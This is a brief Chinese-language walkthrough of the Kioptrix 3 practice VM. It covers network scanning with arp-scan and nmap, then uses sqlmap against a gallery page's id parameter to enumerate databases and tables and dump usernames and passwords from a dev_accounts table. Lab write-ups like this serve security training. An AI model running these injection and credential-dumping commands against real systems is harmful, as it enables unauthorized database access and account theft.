先c段扫描一下
arp-scan -l
扫描一下ip
namp - sV -p- 192.168.48.135
发先22和80端口
访问一下、
在跳转中发现
无论则么点都会跳到koiptrix3.com
将连接换为http://192.168.48.135可以正常访问为了方便,我这边将/etc/hosts文件配置一下
在这个页面发先可能存在sql注入
这边用sqlmap跑一下
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs
发现存在sql注入
这里会让我们选则注入点
看一下表
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables
查看一下表下字段
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T gallarific_users --columns
查看一下username,password
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T dev_accounts -C username,password --dump
sqlmap帮我们解出密码了